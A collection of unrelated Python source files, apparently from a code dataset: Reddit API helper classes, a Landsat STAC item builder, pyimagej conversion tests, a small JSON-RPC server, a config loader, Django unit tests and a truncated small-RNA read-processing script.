.. code-block:: python
livethread = reddit.live("ukaeu1ik4sw5")
:param id: A live thread ID, e.g., ``ukaeu1ik4sw5``.
"""
return LiveThread(self._reddit, id=id)
def info(self, ids: List[str]) -> Generator["praw.models.LiveThread", None, None]:
"""Fetch information about each live thread in ``ids``.
:param ids: A list of IDs for a live thread.
:returns: A generator that yields :class:`.LiveThread` instances.
Live threads that cannot be matched will not be generated. Requests will be
issued in batches for each 100 IDs.
.. warning::
Unlike :meth:`.Reddit.info`, the output of this method may not reflect the
order of input.
Usage:
.. code-block:: python
ids = ["3rgnbke2rai6hen7ciytwcxadi", "sw7bubeycai6hey4ciytwamw3a", "t8jnufucss07"]
for thread in reddit.live.info(ids):
print(thread.title)
"""
if not isinstance(ids, list):
raise TypeError("ids must be a list")
def generator():
for position in range(0, len(ids), 100):
ids_chunk = ids[position : position + 100]
url = API_PATH["live_info"].format(ids=",".join(ids_chunk))
params = {"limit": 100} # 25 is used if not specified
for result in self._reddit.get(url, params=params):
yield result
return generator()
def create(
self,
title: str,
description: Optional[str] = None,
nsfw: bool = False,
resources: str = None,
) -> "praw.models.LiveThread":
r"""Create a new :class:`.LiveThread`.
:param title: The title of the new :class:`.LiveThread`.
:param description: The new :class:`.LiveThread`'s description.
:param nsfw: Indicate whether this thread is not safe for work (default:
``False``).
:param resources: Markdown formatted information that is useful for the
:class:`.LiveThread`.
:returns: The new :class`.LiveThread` object.
"""
return self._reddit.post(
API_PATH["livecreate"],
data={
"description": description,
"nsfw": nsfw,
"resources": resources,
"title": title,
},
)
def now(self) -> Optional["praw.models.LiveThread"]:
"""Get the currently featured live thread.
:returns: The :class:`.LiveThread` object, or ``None`` if there is no currently
featured live thread.
Usage:
.. code-block:: python
thread = reddit.live.now() # LiveThread object or None
"""
return self._reddit.get(API_PATH["live_now"])
class MultiredditHelper(PRAWBase):
"""Provide a set of functions to interact with multireddits."""
def __call__(
self, redditor: Union[str, "praw.models.Redditor"], name: str
) -> "praw.models.Multireddit":
"""Return a lazy instance of :class:`.Multireddit`.
:param redditor: A redditor name or :class:`.Redditor` instance who owns the
multireddit.
:param name: The name of the multireddit.
"""
path = f"/user/{redditor}/m/{name}"
return Multireddit(self._reddit, _data={"name": name, "path": path})
def create(
self,
display_name: str,
subreddits: Union[str, "praw.models.Subreddit"],
description_md: Optional[str] = None,
icon_name: Optional[str] = None,
key_color: Optional[str] = None,
visibility: str = "private",
weighting_scheme: str = "classic",
) -> "praw.models.Multireddit":
"""Create a new :class:`.Multireddit`.
:param display_name: The display name for the new multireddit.
:param subreddits: Subreddits to add to the new multireddit. Can be a list of
either :class:`.Subreddit` instances or subreddit display names.
:param description_md: Description for the new multireddit, formatted in
markdown.
:param icon_name: Can be one of: ``"art and design"``, ``"ask"``, ``"books"``,
``"business"``, ``"cars"``, ``"comics"``, ``"cute animals"``, ``"diy"``,
``"entertainment"``, ``"food and drink"``, ``"funny"``, ``"games"``,
``"grooming"``, ``"health"``, ``"life advice"``, ``"military"``, ``"models
pinup"``, ``"music"``, ``"news"``, ``"philosophy"``, ``"pictures and
gifs"``, ``"science"``, ``"shopping"``, ``"sports"``, ``"style"``,
``"tech"``, ``"travel"``, ``"unusual stories"``, ``"video"``, or ``None``.
:param key_color: RGB hex color code of the form ``"#FFFFFF"``.
:param visibility: Can be one of: ``"hidden"``, ``"private"``, or ``"public"``
(default: ``"private"``).
:param weighting_scheme: Can be one of: ``"classic"`` or ``"fresh"`` (default:
``"classic"``).
:returns: The new :class:`.Multireddit` object.
"""
model = {
"description_md": description_md,
"display_name": display_name,
"icon_name": icon_name,
"key_color": key_color,
"subreddits": [{"name": str(sub)} for sub in subreddits],
"visibility": visibility,
"weighting_scheme": weighting_scheme,
}
return self._reddit.post(
API_PATH["multireddit_base"], data={"model": dumps(model)}
)
class SubredditHelper(PRAWBase):
"""Provide a set of functions to interact with Subreddits."""
def __call__(self, display_name: str) -> "praw.models.Subreddit":
"""Return a lazy instance of :class:`.Subreddit`.
:param display_name: The name of the subreddit.
"""
lower_name = display_name.lower()
if lower_name == "random":
return self._reddit.random_subreddit()
if lower_name == "randnsfw":
return self._reddit.random_subreddit(nsfw=True)
return Subreddit(self._reddit, display_name=display_name)
def create(
self,
name: str,
title: Optional[str] = None,
link_type: str = "any",
subreddit_type: str = "public",
wikimode: str = "disabled",
**other_settings: Optional[str],
) -> "praw.models.Subreddit":
"""Create a new :class:`.Subreddit`.
:param name: The name for the new subreddit.
:param title: The title of the subreddit. When ``None`` or ``""`` use the value
of ``"name"``.
:param link_type: The types of submissions users can make. One of ``"any"``,
``"link"``, or ``"self"`` (default: ``"any"``).
:param subreddit_type: One of ``"archived"``, ``"employees_only"``,
``"gold_only"``, ``"gold_restricted"``, ``"private"``, ``"public"``, or
``"restricted"`` (default: "public").
:param wikimode: One of ``"anyone"``, ``"disabled"``, or ``"modonly"`` (default:
``disabled``).
Any keyword parameters not provided, or set explicitly to ``None``, will take on
a default value assigned by the Reddit server.
.. seealso::
:meth:`~.SubredditModeration.update` for documentation of other available
settings.
"""
Subreddit._create_or_update(
_reddit=self._reddit,
name=name,
link_type=link_type,
subreddit_type=subreddit_type,
title=title or name,
wikimode=wikimode,
**other_settings,
)
return self(name)
| python |
from typing import Optional
import pystac
from pystac.extensions.eo import EOExtension
from pystac.extensions.projection import ProjectionExtension
from pystac.extensions.view import ViewExtension
from stactools.core.io import ReadHrefModifier
from stactools.landsat.assets import (ANG_ASSET_DEF, COMMON_ASSET_DEFS,
SR_ASSET_DEFS, THERMAL_ASSET_DEFS)
from stactools.landsat.constants import (L8_EXTENSION_SCHEMA, L8_INSTRUMENTS,
L8_ITEM_DESCRIPTION, L8_PLATFORM)
from stactools.landsat.mtl_metadata import MtlMetadata
from stactools.landsat.ang_metadata import AngMetadata
def create_stac_item(
mtl_xml_href: str,
read_href_modifier: Optional[ReadHrefModifier] = None) -> pystac.Item:
"""Creates a Landsat 8 C2 L2 STAC Item.
Reads data from a single scene of
Landsat Collection 2 Level-2 Surface Reflectance Product data.
Uses the MTL XML HREF as the bases for other files; assumes that all
files are co-located in a directory or blob prefix.
"""
base_href = '_'.join(mtl_xml_href.split('_')[:-1]) # Remove the _MTL.txt
mtl_metadata = MtlMetadata.from_file(mtl_xml_href, read_href_modifier)
ang_href = ANG_ASSET_DEF.get_href(base_href)
ang_metadata = AngMetadata.from_file(ang_href, read_href_modifier)
scene_datetime = mtl_metadata.scene_datetime
item = pystac.Item(id=mtl_metadata.scene_id,
bbox=mtl_metadata.bbox,
geometry=ang_metadata.get_scene_geometry(
mtl_metadata.bbox),
datetime=scene_datetime,
properties={})
item.common_metadata.platform = L8_PLATFORM
item.common_metadata.instruments = L8_INSTRUMENTS
item.common_metadata.description = L8_ITEM_DESCRIPTION
# eo
eo = EOExtension.ext(item, add_if_missing=True)
eo.cloud_cover = mtl_metadata.cloud_cover
# view
view = ViewExtension.ext(item, add_if_missing=True)
view.off_nadir = mtl_metadata.off_nadir
view.sun_elevation = mtl_metadata.sun_elevation
# Sun Azimuth in landsat metadata is -180 to 180 from north, west being negative.
# In STAC, it's 0 to 360 clockwise from north.
sun_azimuth = mtl_metadata.sun_azimuth
if sun_azimuth < 0.0:
sun_azimuth = 360 + sun_azimuth
view.sun_azimuth = sun_azimuth
# projection
projection = ProjectionExtension.ext(item, add_if_missing=True)
projection.epsg = mtl_metadata.epsg
projection.bbox = mtl_metadata.proj_bbox
# landsat8
item.stac_extensions.append(L8_EXTENSION_SCHEMA)
item.properties.update(**mtl_metadata.additional_metadata)
item.properties['landsat:scene_id'] = ang_metadata.scene_id
# -- Add assets
# Add common assets
for asset_definition in COMMON_ASSET_DEFS:
asset_definition.add_asset(item, mtl_metadata, base_href)
# Add SR assets
for asset_definition in SR_ASSET_DEFS:
asset_definition.add_asset(item, mtl_metadata, base_href)
# Add thermal assets, if this is a L2SP product
if mtl_metadata.processing_level == 'L2SP':
for asset_definition in THERMAL_ASSET_DEFS:
asset_definition.add_asset(item, mtl_metadata, base_href)
# -- Add links
usgs_item_page = (
f"https://landsatlook.usgs.gov/stac-browser/collection02/level-2/standard/oli-tirs"
f"/{scene_datetime.year}"
f"/{mtl_metadata.wrs_path}/{mtl_metadata.wrs_row}"
f"/{mtl_metadata.scene_id}")
item.add_link(
pystac.Link(rel="alternate",
target=usgs_item_page,
title="USGS stac-browser page",
media_type="text/html"))
return item
| python |
import argparse
import random
import sys
import pytest
import imagej.dims as dims
import scyjava as sj
import numpy as np
import xarray as xr
from jpype import JObject, JException, JArray, JInt, JLong
class TestImageJ(object):
def test_frangi(self, ij_fixture):
input_array = np.array(
[[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]]
)
result = np.zeros(input_array.shape)
ij_fixture.op().filter().frangiVesselness(
ij_fixture.py.to_java(result), ij_fixture.py.to_java(input_array), [1, 1], 4
)
correct_result = np.array(
[[0, 0, 0, 0.94282, 0.94283], [0, 0, 0, 0.94283, 0.94283]]
)
result = np.ndarray.round(result, decimals=5)
assert (result == correct_result).all()
def test_gaussian(self, ij_fixture):
input_array = np.array(
[[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]]
)
sigmas = [10.0] * 2
output_array = (
ij_fixture.op().filter().gauss(ij_fixture.py.to_java(input_array), sigmas)
)
result = []
correct_result = [8435, 8435, 8435, 8435]
ra = output_array.randomAccess()
for x in [0, 1]:
for y in [0, 1]:
ra.setPosition(x, y)
result.append(ra.get().get())
assert result == correct_result
def test_top_hat(self, ij_fixture):
ArrayList = sj.jimport("java.util.ArrayList")
HyperSphereShape = sj.jimport(
"net.imglib2.algorithm.neighborhood.HyperSphereShape"
)
Views = sj.jimport("net.imglib2.view.Views")
result = []
correct_result = [0, 0, 0, 1000, 2000, 4000, 7000, 12000, 20000, 33000]
input_array = np.array(
[[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]]
)
output_array = np.zeros(input_array.shape)
java_out = Views.iterable(ij_fixture.py.to_java(output_array))
java_in = ij_fixture.py.to_java(input_array)
shapes = ArrayList()
shapes.add(HyperSphereShape(5))
ij_fixture.op().morphology().topHat(java_out, java_in, shapes)
itr = java_out.iterator()
while itr.hasNext():
result.append(itr.next().get())
assert result == correct_result
def test_image_math(self, ij_fixture):
Views = sj.jimport("net.imglib2.view.Views")
input_array = np.array([[1, 1, 2], [3, 5, 8]])
result = []
correct_result = [192, 198, 205, 192, 198, 204]
java_in = Views.iterable(ij_fixture.py.to_java(input_array))
java_out = (
ij_fixture.op()
.image()
.equation(
java_in, "64 * (Math.sin(0.1 * p[0]) + Math.cos(0.1 * p[1])) + 128"
)
)
itr = java_out.iterator()
while itr.hasNext():
result.append(itr.next().get())
assert result == correct_result
def test_run_plugin(self, ij_fixture):
if not ij_fixture.legacy:
pytest.skip("No original ImageJ. Skipping test.")
ramp = ij_fixture.IJ.createImage("Tile1", "8-bit ramp", 10, 10, 1)
ij_fixture.py.run_plugin("Gaussian Blur...", args={"sigma": 3}, imp=ramp)
values = [ramp.getPixel(x, y)[0] for x in range(10) for y in range(10)]
# fmt: off
assert values == [
30, 30, 30, 30, 30, 30, 30, 30, 30, 30,
45, 45, 45, 45, 45, 45, 45, 45, 45, 45,
62, 62, 62, 62, 62, 62, 62, 62, 62, 62,
82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
104, 104, 104, 104, 104, 104, 104, 104, 104, 104,
126, 126, 126, 126, 126, 126, 126, 126, 126, 126,
148, 148, 148, 148, 148, 148, 148, 148, 148, 148,
168, 168, 168, 168, 168, 168, 168, 168, 168, 168,
185, 185, 185, 185, 185, 185, 185, 185, 185, 185,
200, 200, 200, 200, 200, 200, 200, 200, 200, 200
]
# fmt: on
def test_plugins_load_using_pairwise_stitching(self, ij_fixture):
try:
sj.jimport("plugin.Stitching_Pairwise")
except TypeError:
pytest.skip("No Pairwise Stitching plugin available. Skipping test.")
if not ij_fixture.legacy:
pytest.skip("No original ImageJ. Skipping test.")
if ij_fixture.ui().isHeadless():
pytest.skip("No GUI. Skipping test.")
tile1 = ij_fixture.IJ.createImage("Tile1", "8-bit random", 512, 512, 1)
tile2 = ij_fixture.IJ.createImage("Tile2", "8-bit random", 512, 512, 1)
args = {"first_image": tile1.getTitle(), "second_image": tile2.getTitle()}
ij_fixture.py.run_plugin("Pairwise stitching", args)
result_name = ij_fixture.WindowManager.getCurrentImage().getTitle()
ij_fixture.IJ.run("Close All", "")
assert result_name == "Tile1<->Tile2"
@pytest.fixture(scope="module")
def get_xarr():
def _get_xarr(option="C"):
if option == "C":
xarr = xr.DataArray(
np.random.rand(5, 4, 6, 12, 3),
dims=["t", "pln", "row", "col", "ch"],
coords={
"col": list(range(12)),
"row": list(range(0, 12, 2)),
"ch": [0, 1, 2],
"pln": list(range(10, 50, 10)),
"t": list(np.arange(0, 0.05, 0.01)),
},
attrs={"Hello": "World"},
)
elif option == "F":
xarr = xr.DataArray(
np.ndarray([5, 4, 3, 6, 12], order="F"),
dims=["t", "pln", "ch", "row", "col"],
coords={
"col": list(range(12)),
"row": list(range(0, 12, 2)),
"pln": list(range(10, 50, 10)),
"t": list(np.arange(0, 0.05, 0.01)),
},
attrs={"Hello": "World"},
)
else:
xarr = xr.DataArray(np.random.rand(1, 2, 3, 4, 5))
return xarr
return _get_xarr
@pytest.fixture(scope="module")
def get_imgplus():
def _get_imgplus(ij_fixture):
"""Get a 7D ImgPlus."""
# get java resources
Random = sj.jimport("java.util.Random")
Axes = sj.jimport("net.imagej.axis.Axes")
UnsignedByteType = sj.jimport(
"net.imglib2.type.numeric.integer.UnsignedByteType"
)
DatasetService = ij_fixture.get("net.imagej.DatasetService")
# test image parameters
foo = Axes.get("foo")
bar = Axes.get("bar")
shape = [13, 17, 5, 2, 3, 7, 11]
axes = [Axes.X, Axes.Y, foo, bar, Axes.CHANNEL, Axes.TIME, Axes.Z]
# create image
dataset = DatasetService.create(UnsignedByteType(), shape, "fabulous7D", axes)
imgplus = dataset.typedImg(UnsignedByteType())
# fill the image with noise
rng = Random(123456789)
t = UnsignedByteType()
for t in imgplus:
t.set(rng.nextInt(256))
return imgplus
return _get_imgplus
def assert_xarray_equal_to_dataset(ij_fixture, xarr):
dataset = ij_fixture.py.to_java(xarr)
axes = [dataset.axis(axnum) for axnum in range(5)]
labels = [axis.type().getLabel() for axis in axes]
for label, vals in xarr.coords.items():
cur_axis = axes[labels.index(dims._convert_dim(label, direction="java"))]
for loc in range(len(vals)):
assert vals[loc] == cur_axis.calibratedValue(loc)
if np.isfortran(xarr.values):
expected_labels = [
dims._convert_dim(dim, direction="java") for dim in xarr.dims
]
else:
expected_labels = ["X", "Y", "Z", "Time", "Channel"]
assert expected_labels == labels
assert xarr.attrs == ij_fixture.py.from_java(dataset.getProperties())
def assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr):
# Reversing back to xarray yields original results
invert_xarr = ij_fixture.py.from_java(dataset)
assert (xarr.values == invert_xarr.values).all()
assert list(xarr.dims) == list(invert_xarr.dims)
for key in xarr.coords:
assert (xarr.coords[key] == invert_xarr.coords[key]).all()
assert xarr.attrs == invert_xarr.attrs
def assert_permuted_rai_equal_to_source_rai(imgplus):
# get java resources
Axes = sj.jimport("net.imagej.axis.Axes")
# define extra axes
foo = Axes.get("foo")
bar = Axes.get("bar")
# permute the rai to python order
axis_types = [axis.type() for axis in imgplus.dim_axes]
permute_order = dims.prioritize_rai_axes_order(
axis_types, dims._python_rai_ref_order()
)
permuted_rai = dims.reorganize(imgplus, permute_order)
# extract values for assertion
oc = imgplus.dimensionIndex(Axes.CHANNEL)
ox = imgplus.dimensionIndex(Axes.X)
oy = imgplus.dimensionIndex(Axes.Y)
oz = imgplus.dimensionIndex(Axes.Z)
ot = imgplus.dimensionIndex(Axes.TIME)
of = imgplus.dimensionIndex(foo)
ob = imgplus.dimensionIndex(bar)
nc = permuted_rai.dimensionIndex(Axes.CHANNEL)
nx = permuted_rai.dimensionIndex(Axes.X)
ny = permuted_rai.dimensionIndex(Axes.Y)
nz = permuted_rai.dimensionIndex(Axes.Z)
nt = permuted_rai.dimensionIndex(Axes.TIME)
nf = permuted_rai.dimensionIndex(foo)
nb = permuted_rai.dimensionIndex(bar)
oc_len = imgplus.dimension(oc)
ox_len = imgplus.dimension(ox)
oy_len = imgplus.dimension(oy)
oz_len = imgplus.dimension(oz)
ot_len = imgplus.dimension(ot)
of_len = imgplus.dimension(of)
ob_len = imgplus.dimension(ob)
nc_len = permuted_rai.dimension(nc)
nx_len = permuted_rai.dimension(nx)
ny_len = permuted_rai.dimension(ny)
nz_len = permuted_rai.dimension(nz)
nt_len = permuted_rai.dimension(nt)
nf_len = permuted_rai.dimension(nf)
nb_len = permuted_rai.dimension(nb)
# assert the number of pixels of each dimension
assert oc_len == nc_len
assert ox_len == nx_len
assert oy_len == ny_len
assert oz_len == nz_len
assert ot_len == nt_len
assert of_len == nf_len
assert ob_len == nb_len
# get RandomAccess
imgplus_access = imgplus.randomAccess()
permuted_rai_access = permuted_rai.randomAccess()
# assert pixels between source and permuted rai
for c in range(oc_len):
imgplus_access.setPosition(c, oc)
permuted_rai_access.setPosition(c, nc)
for x in range(ox_len):
imgplus_access.setPosition(x, ox)
permuted_rai_access.setPosition(x, nx)
for y in range(oy_len):
imgplus_access.setPosition(y, oy)
permuted_rai_access.setPosition(y, ny)
for z in range(oz_len):
imgplus_access.setPosition(z, oz)
permuted_rai_access.setPosition(z, nz)
for t in range(ot_len):
imgplus_access.setPosition(t, ot)
permuted_rai_access.setPosition(t, nt)
for f in range(of_len):
imgplus_access.setPosition(f, of)
permuted_rai_access.setPosition(f, nf)
for b in range(ob_len):
imgplus_access.setPosition(b, ob)
permuted_rai_access.setPosition(b, nb)
sample_name = f"C: {c}, X: {x}, Y: {y}, Z: {z}, T: {t}, F: {f}, B: {b}"
assert (
imgplus_access.get() == permuted_rai_access.get()
), sample_name
class TestXarrayConversion(object):
def test_cstyle_array_with_labeled_dims_converts(self, ij_fixture, get_xarr):
assert_xarray_equal_to_dataset(ij_fixture, get_xarr())
def test_fstyle_array_with_labeled_dims_converts(self, ij_fixture, get_xarr):
assert_xarray_equal_to_dataset(ij_fixture, get_xarr("F"))
def test_7d_rai_to_python_permute(self, ij_fixture, get_imgplus):
assert_permuted_rai_equal_to_source_rai(get_imgplus(ij_fixture))
def test_dataset_converts_to_xarray(self, ij_fixture, get_xarr):
xarr = get_xarr()
dataset = ij_fixture.py.to_java(xarr)
assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr)
def test_rgb_image_maintains_correct_dim_order_on_conversion(
self, ij_fixture, get_xarr
):
xarr = get_xarr()
dataset = ij_fixture.py.to_java(xarr)
axes = [dataset.axis(axnum) for axnum in range(5)]
labels = [axis.type().getLabel() for axis in axes]
assert ["X", "Y", "Z", "Time", "Channel"] == labels
# Test that automatic axis swapping works correctly
numpy_image = ij_fixture.py.initialize_numpy_image(dataset)
raw_values = ij_fixture.py.rai_to_numpy(dataset, numpy_image)
assert (xarr.values == np.moveaxis(raw_values, 0, -1)).all()
assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr)
def test_no_coords_or_dims_in_xarr(self, ij_fixture, get_xarr):
xarr = get_xarr("NoDims")
dataset = ij_fixture.py.from_java(xarr)
assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr)
@pytest.fixture(scope="module")
def arr():
empty_array = np.zeros([512, 512])
return empty_array
class TestSynchronization(object):
def test_get_imageplus_synchronizes_from_imagej_to_imagej2(self, ij_fixture, arr):
if not ij_fixture.legacy:
pytest.skip("No original ImageJ. Skipping test.")
if ij_fixture.ui().isHeadless():
pytest.skip("No GUI. Skipping test.")
original = arr[0, 0]
ds = ij_fixture.py.to_java(arr)
ij_fixture.ui().show(ds)
macro = """run("Add...", "value=5");"""
ij_fixture.py.run_macro(macro)
imp = ij_fixture.py.active_imageplus()
assert arr[0, 0] == original + 5
def test_synchronize_from_imagej_to_numpy(self, ij_fixture, arr):
if not ij_fixture.legacy:
pytest.skip("No original ImageJ. Skipping test.")
if ij_fixture.ui().isHeadless():
pytest.skip("No GUI. Skipping test.")
original = arr[0, 0]
ds = ij_fixture.py.to_dataset(arr)
ij_fixture.ui().show(ds)
imp = ij_fixture.py.active_imageplus()
imp.getProcessor().add(5)
ij_fixture.py.sync_image(imp)
assert arr[0, 0] == original + 5
def test_window_to_numpy_converts_active_image_to_xarray(self, ij_fixture, arr):
if not ij_fixture.legacy:
pytest.skip("No original ImageJ. Skipping test.")
if ij_fixture.ui().isHeadless():
pytest.skip("No GUI. Skipping test.")
ds = ij_fixture.py.to_dataset(arr)
ij_fixture.ui().show(ds)
new_arr = ij_fixture.py.active_xarray()
assert (arr == new_arr.values).all
def test_functions_throw_warning_if_legacy_not_enabled(self, ij_fixture):
if ij_fixture.legacy and ij_fixture.legacy.isActive():
pytest.skip("Original ImageJ installed. Skipping test.")
with pytest.raises(AttributeError):
ij_fixture.py.sync_image(None)
with pytest.raises(ImportError):
ij_fixture.py.active_imageplus()
@pytest.fixture(scope="module")
def get_nparr():
def _get_nparr():
return np.random.rand(1, 2, 3, 4, 5)
return _get_nparr
@pytest.fixture(scope="module")
def get_img(ij_fixture):
def _get_img():
# Create img
CreateNamespace = sj.jimport("net.imagej.ops.create.CreateNamespace")
dims = JArray(JLong)([1, 2, 3, 4, 5])
ns = ij_fixture.op().namespace(CreateNamespace)
img = ns.img(dims)
# Populate img with random data
cursor = img.cursor()
while cursor.hasNext():
val = random.random()
cursor.next().set(val)
return img
return _get_img
def assert_ndarray_equal_to_img(img, nparr):
cursor = img.cursor()
arr = JArray(JInt)(5)
while cursor.hasNext():
y = cursor.next().get()
cursor.localize(arr)
# TODO: Imglib has inverted dimensions - extract this behavior into a helper function
x = nparr[tuple(arr[::-1])]
assert x == y
def convert_ndarray_and_assert_equality(ij_fixture, nparr):
img = ij_fixture.py.to_java(nparr)
assert_ndarray_equal_to_img(img, nparr)
def convert_img_and_assert_equality(ij_fixture, img):
nparr = ij_fixture.py.from_java(img)
assert_ndarray_equal_to_img(img, nparr)
class TestNumpyConversion(object):
def test_ndarray_converts_to_img(self, ij_fixture, get_nparr):
convert_ndarray_and_assert_equality(ij_fixture, get_nparr())
def test_img_converts_to_ndarray(self, ij_fixture, get_img):
convert_img_and_assert_equality(ij_fixture, get_img())
class TestRAIArraylike(object):
@pytest.fixture
def img(self):
# Create img
ArrayImgs = sj.jimport("net.imglib2.img.array.ArrayImgs")
img = ArrayImgs.bytes(2, 3, 4)
# Insert a different value into each index
tmp_val = 1
cursor = img.cursor()
while cursor.hasNext():
cursor.next().set(tmp_val)
tmp_val += 1
# Return the new img
return img
def test_slice_index(self, ij_fixture, img):
assert img[0, 0, 0].get() == 1
def test_slice_index_negative(self, ij_fixture, img):
assert img[-1, -1, -1].get() == 24
def test_slice_2d(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(img, 0, 0)
actual = img[0, :, :]
for i in range(3):
for j in range(4):
assert expected[i, j] == actual[i, j]
def test_slice_2d_negative(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(img, 0, 1)
actual = img[-1, :, :]
for i in range(3):
for j in range(4):
assert expected[i, j] == actual[i, j]
def test_slice_1d(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(Views.hyperSlice(img, 0, 0), 0, 0)
actual = img[0, 0, :]
for i in range(4):
assert expected[i] == actual[i]
def test_slice_1d_negative(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(Views.hyperSlice(img, 0, 1), 0, 1)
actual = img[-1, -2, :]
for i in range(4):
assert expected[i] == actual[i]
def test_slice_int(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(img, 0, 0)
actual = img[0]
for i in range(3):
for j in range(4):
assert expected[i, j] == actual[i, j]
def test_slice_not_enough_dims(self, ij_fixture, img):
Views = sj.jimport("net.imglib2.view.Views")
expected = Views.hyperSlice(Views.hyperSlice(img, 0, 0), 0, 0)
actual = img[0, 0]
for i in range(4):
assert expected[i] == actual[i]
def test_step(self, ij_fixture, img):
# Create a stepped img via Views
Views = sj.jimport("net.imglib2.view.Views")
steps = JArray(JLong)([1, 1, 2])
expected = Views.subsample(img, steps)
# Create a stepped img via slicing notation
actual = img[:, :, ::2]
for i in range(2):
for j in range(3):
for k in range(2):
assert expected[i, j, k] == actual[i, j, k]
def test_step_not_enough_dims(self, ij_fixture, img):
# Create a stepped img via Views
Views = sj.jimport("net.imglib2.view.Views")
steps = JArray(JLong)([2, 1, 1])
expected = Views.subsample(img, steps)
expected = Views.dropSingletonDimensions(expected)
# Create a stepped img via slicing notation
actual = img[::2]
for i in range(3):
for j in range(4):
assert expected[i, j] == actual[i, j]
def test_slice_and_step(self, ij_fixture, img):
# Create a stepped img via Views
Views = sj.jimport("net.imglib2.view.Views")
intervaled = Views.hyperSlice(img, 0, 0)
steps = JArray(JLong)([1, 2])
expected = Views.subsample(intervaled, steps)
# Create a stepped img via slicing notation
actual = img[:1, :, ::2]
for i in range(3):
for j in range(2):
assert expected[i, j] == actual[i, j]
def test_shape(self, ij_fixture, img):
assert hasattr(img, "shape")
assert img.shape == (2, 3, 4)
def test_dtype(self, ij_fixture, img):
assert hasattr(img, "dtype")
ByteType = sj.jimport("net.imglib2.type.numeric.integer.ByteType")
assert img.dtype == ByteType
def test_dtype(self, ij_fixture, img):
assert hasattr(img, "ndim")
assert img.ndim == 3
def test_transpose1d(self, ij_fixture, img):
img = img[0, 0]
transpose = img.T
for i in range(2):
assert transpose[i] == img[i]
def test_transpose2d(self, ij_fixture, img):
img = img[0]
transpose = img.T
for i in range(3):
for j in range(2):
assert transpose[i, j] == img[j, i]
def test_transpose3d(self, ij_fixture, img):
transpose = img.T
for i in range(4):
for j in range(3):
for k in range(2):
assert transpose[i, j, k] == img[k, j, i]
| python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Florian Scherf <f.scherf@pengutronix.de>
from aiohttp.web import Application
from aiohttp_json_rpc import JsonRpc
import asyncio
@asyncio.coroutine
def ping(request):
return 'pong'
if __name__ == '__main__':
loop = asyncio.get_event_loop()
rpc = JsonRpc()
rpc.add_methods(
('', ping),
)
app = Application(loop=loop)
app.router.add_route('*', '/', rpc)
handler = app.make_handler()
server = loop.run_until_complete(
loop.create_server(handler, '0.0.0.0', 8080))
loop.run_forever()
| python |
"""
Application configuration logic.
"""
import json
default_config_file = 'config.json'
class Config():
"""App configuration."""
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
def update(self, key: str, value: str):
"""
Update the app's configuration.
Set a new value for the given key. If the key didn't exist in the
configuration before, it will be created.
"""
self.__dict__.update({key: value})
with open(default_config_file, 'w') as f:
json.dump(self.__dict__, f)
def load_config() -> Config:
"""
Load the app's configuration from file.
If a configuration file is not found, a default one will be created.
"""
try:
with open(default_config_file, 'r') as f:
values = json.load(f)
except FileNotFoundError:
values = create_default_config()
return Config(**values)
def create_default_config() -> dict:
"""Create a configuration file with default values."""
default_values = {
'server_url': 'http://localhost',
'server_port': '8000'
}
with open(default_config_file, 'w') as f:
json.dump(default_values, f)
return default_values
| python |
from django.test import TestCase
from mock import Mock, sentinel
from morelia.decorators import tags
from tasks.templatetags.tasks_tags import _show_current_tasks, is_visible_for
from tasks.models import Task
@tags(['unit'])
class ShowCurrentTasksTest(TestCase):
""" :py:func:`tasks.templatetags.tasks_tags._show_current_tasks` """
def test_should_show_tasks_for_profile(self):
# Arrange
tasks_manager = Mock(Task.objects)
tasks_manager.get_for_owner.return_value = sentinel.current_tasks
# Act
result = _show_current_tasks(
sentinel.profile,
sentinel.user,
tasks_manager=tasks_manager)
# Assert
self.assertEqual(result['user'], sentinel.user)
self.assertEqual(result['tasks'], sentinel.current_tasks)
tasks_manager.get_for_owner.assert_called_once_with(sentinel.profile)
@tags(['unit'])
class IsVisibleForTest(TestCase):
""" :py:func:`tasks.templatetags.tasks_tags.is_visible_for` """
def test_should_return_true_for_author_tasks(self):
# Arrange
task = Mock(Task)
task.author = sentinel.author
task.owner = sentinel.owner
# Act
result = is_visible_for(task, sentinel.author)
# Assert
self.assertTrue(result)
def test_should_return_true_for_owner_tasks(self):
# Arrange
task = Mock(Task)
task.author = sentinel.author
task.owner = sentinel.owner
# Act
result = is_visible_for(task, sentinel.owner)
# Assert
self.assertTrue(result)
def test_should_return_false_for_foreign_tasks(self):
# Arrange
task = Mock(Task)
task.author = sentinel.owner
task.owner = sentinel.owner
# Act
result = is_visible_for(task, sentinel.author)
# Assert
self.assertFalse(result)
| python |
#!/usr/bin/python
# script for generating 2 fasta files of 23nt-TRUNCATED 23-28nt reads, forward and reverse, before weblogo analysis
# version 23-5-2012
# Usage trunc_pi23.py <bowtie input> <output1> <output2>
import sys, re, os
def antipara (sequence):
antidict = {"A":"T", "T":"A", "G":"C", "C":"G"}
revseq = sequence[::-1]
return "".join([antidict[i] for i in revseq])
def RNAtranslate (sequence):
return "".join([i if i in "AGC" else "U" for i in sequence])
def dispatch (bowtie_input, f23, r23):
IN = open (bowtie_input)
F23= open (f23, "w")
R23= open (r23, "w")
for line in IN:
fields = line.split()
read_header = fields[0]
read_polarity = fields[1]
read_sequence = fields[4]
if "N" in read_sequence: continue
read_size = len(read_sequence)
if read_polarity == "+" and 23<read_size<28:
seq = RNAtranslate (read_sequence)
print >> F23, ">%s\n%s" % (read_header, seq[:23])
elif read_polarity == "-" and 23<read_size<28:
seq = RNAtranslate (antipara(read_sequence))
